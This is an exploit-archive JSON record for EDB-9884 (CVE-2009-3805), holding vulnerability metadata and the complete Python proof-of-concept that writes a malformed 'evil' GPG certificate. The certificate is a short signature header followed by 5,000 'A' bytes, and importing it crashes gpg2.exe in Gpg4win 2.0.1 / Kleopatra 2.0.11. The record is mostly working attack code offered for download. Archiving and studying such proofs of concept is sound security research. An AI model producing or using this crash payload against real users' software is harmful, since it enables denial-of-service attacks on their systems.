{"exploit":{"id":"EDB-9884","name":"GPG2/Kleopatra 2.0.11 - Malformed Certificate","description":"GPG2/Kleopatra 2.0.11 - Malformed Certificate","cves":["CVE-2009-3805"],"author":"Dr_IDE","published":"2009-10-21","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9884","path":"exploits/windows/local/9884.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9884.py","vulnerabilities":[{"id":"CVE-2009-3805","state":"PUBLISHED","title":null,"titleSource":null,"description":"gpg2.exe in Gpg4win 2.0.1, as used in KDE Kleopatra 2.0.11, allows remote attackers to cause a denial of service (application crash) via a long certificate signature.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3805","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3805"},"updatedAt":"2024-08-07T06:38:30.313Z","retrievedAt":"2026-11-26T16:08:57.275Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9884.png?v=2","url":"https://exploitbin.com/exploits/EDB-9884","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9884/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9884/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n\n################################################################\n#\n# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC\n# Note: \tPart of the GPG4Win Package v2.0.1\n# Found By:\tDr_IDE\n# Tested On:\t7RC, XPSP3\n# Usage:\tImport the Cert into Kleopatra, GPG2.exe Crashes\n#\n################################################################\n\n# Seems to only check for the presense of this signature\ncert  = (\"\\x99\\x03\\x2E\\x04\\x4A\\xDC\\xA8\\x29\\x11\\x08\\x20\");\ncert += (\"\\x41\" * 5000);\n\ntry:\n\tprint (\"[*] Creating evil GPG cert.\");\n\tf1 = open(\"gpg2_evil_cert.gpg\",\"w\");\n\tf1.write(cert);\n\tf1.close();\n\tprint (\"[*] File created successfully. Import it.\");\n\nexcept:\n\tprint (\"[-] Error.\");\n\n#[pocoftheday.blogspot.com]","sha256":"619f008c1f888373d3c60d6343640f6b3637bd054c612a5ece628bb4b88cdb93","bytes":729,"fetchedAt":"2026-11-26T16:08:55.121Z","encoding":"utf-8 (display only; download retains original bytes)"}